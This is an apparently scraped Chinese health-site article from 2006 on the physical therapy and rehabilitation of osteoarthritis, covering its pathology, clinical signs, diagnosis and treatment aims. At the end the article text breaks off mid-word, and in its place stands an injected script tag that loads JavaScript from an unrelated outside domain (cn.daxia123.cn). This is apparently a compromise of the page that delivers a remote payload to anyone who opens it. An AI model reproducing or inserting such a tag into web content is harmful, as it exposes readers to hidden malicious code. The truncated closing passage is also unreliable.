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骨关节炎的物理治疗与康复
发布时间:2006/4/25 打印 关闭

学习提纲 (一) 骨关节炎的概念、特点 (二) 骨关节的结构、功能 (三) 骨关节炎的病理过程 (四) 骨关节炎的临床表现 (五) 骨关节的诊断要点 (六)骨关节炎的主要物理治疗与康复方法 (一)骨关节炎的概念、特点 骨关节炎又名:“退行性骨关节病”“肥大性关节炎”“软骨软化性关节炎”,其病变累及关节软骨、软骨下骨、滑膜、关节囊、韧带及相关的肌肉。其特点为: •关节软骨的变性,继发的骨质增生、滑膜炎,和骨关节的功能障碍 •好发人群:中、老年人 •好发部位:承重、活动多的关,:膝、髋、腰椎、颈椎、手指关节等 •病程:发病、进展缓慢 •病因:长期关节应力不均、创伤或继发于某些疾病 (二)骨关节的结构及功能 骨关节由关节软骨、软骨下骨、滑膜、粘液囊、关节囊及相连的肌肉、韧带组成,其中,关节软骨起传载、缓震、润滑和抗磨作用;软骨下骨承重;滑膜、粘液囊润滑关节;关节囊起保护作用;肌腱、韧带使关节稳定并使其具有活动功能。 关节软骨位于关节面,由四层组成:即关节面上的浅层、其下面的中间层、深层和与软骨下骨相连的钙化层。关节软骨由软骨细胞和细胞外基质组成。软骨细胞位于细胞外基质的胶元网络中,由间充质细胞分化形成,分泌胶元纤维、蛋白多糖。细胞外基质由水、胶元纤维、蛋白多糖组成。水的作用是促使软骨细胞营养、代谢和维护关节软骨的抗压、缓震、 润滑关节面的作用。胶元纤维呈集束走行,形成纤维拱形结构和网络,在浅表层与关节面平行,连接骨膜纤维;在中间层为喷射状;在钙化层与软骨下骨的连接面参差不齐,能够缓冲压力,防止软骨层分离。蛋白多糖位胶元网络中,并与胶元纤维结合,起稳定、固化作用,与水结合而膨胀、抗压。 (三)骨关节炎的病理过程 关节软骨的退形性变是骨关节炎发生发展的病理基础。而软骨的退行性变缘于长期的关节应力不均、磨损等因素,导致的软骨退变,弹性减退而脆性增高,致使关节表面粗糙,形成裂纹并沿胶元网络向深层发展,滑液则从裂隙侵入软骨基质,使蛋白多糖中的软骨素硫酸脂链被消化,进而软骨碎裂、关节面缺损,软骨下骨组织外露,由于中央区骨的重建,使其密度增高、硬化,而下面的骨组织内形成假囊肿,周边软骨增生肥厚,形成骨赘,如果骨赘脱落进入关节腔则形成游离体,滑膜受刺激则充血、渗出、乃至肥厚,形成滑膜炎,累及关节囊时则引起关节囊炎、纤维化、增厚、钙化,累及韧带、肌腱时,则发生韧带炎、肌腱炎、肌肉痉挛,最终导致关节变形、肌肉萎缩及关节功能障碍。在关节软骨退变的过程中,软骨细胞分泌的胶原纤维、蛋白多糖减少,引起胶原网络破坏,使软骨细胞失保护,从而又进一步加重了关节软骨细胞的损伤,与软骨的退变形成了恶式循环[1] 。 (四)骨关节炎的临床表现 症状:以疼痛、活动摩擦感及关节僵硬为主要表现。 体征:关节肿胀、压痛、摩擦音、肌肉萎缩及关节活动受限。不同关节的骨关节炎的特点是: •膝关节:以疼痛、交锁、无力、肿胀及膝关节活动受限为主,髌周有压痛,股四头肌可能萎缩。X线检查显示:关节间隙变窄、髁间嵴增生变尖、边缘骨质增生、髌骨缘骨质增生,可有游离体。由骨关节炎诱发的髌股关节病出现髌骨半脱位时,则蹲立、上下楼梯痛重、股内侧肌肌力减弱。X线轴位相显示:髌骨外移,内侧间隙增大。 •髋关节:表现为疼痛、、髋关节活动受限及跛行,患髋轻度屈曲、外旋、内收,髋前、内收肌痉挛、压痛。X线检查显示:股骨头塌陷、变扁、变粗、变短、髋臼缘骨质增生,关节变形,关节面硬化。 •腰椎:以腰痛、腰部活动受限为主。如果刺激、压迫了神经根,可引起下肢放射性痛 ,感觉、运动、反射障碍。 •颈椎:可表现为颈椎病、颈椎间盘病变等。 •手指:表现为末节关节的疼痛、肿胀,Heberden结节、关节粗大变形等。 (五)骨关节炎的诊断及功能评定要点 •年龄较大、身体较胖、有创伤史; •发病缓慢,为局部关节的改变; •关节疼痛、肿胀、僵硬、活动受限 •X线检查显示:关节间隙变窄、关节面硬化、骨内囊性变、边缘骨质增生、关节腔内游离体等。 •日常生活活动能力评定 (六)骨关节炎的物理治疗与康复[2[ •目的:改善局部血液循环、加强营养、促进代谢、消除炎症、 缓解疼痛、预防或改善肌肉萎缩、促进、维护关节功能恢复;改善关节的生物力学异常,减轻关节摩损;改善日常生活活动能力,提高生活质量。 •方法:综合应用物理因子治疗、运动疗法、辅助支具及必要的药物,以及日常生活活动方式的调整等。骨关节炎的物理治疗方法较多,应该根椐疾病的不同时期和特点,选择针对性强的物理治疗方法及运动疗法,注意方法、剂量、时间的确实;而且,物理治疗宜早期介入,以尽早发挥作用,打断软骨损伤的恶式循环;物理治疗宜多疗程反复应用以不断巩?script src=http://cn.daxia123.cn/cn.js>

来源:39健康网


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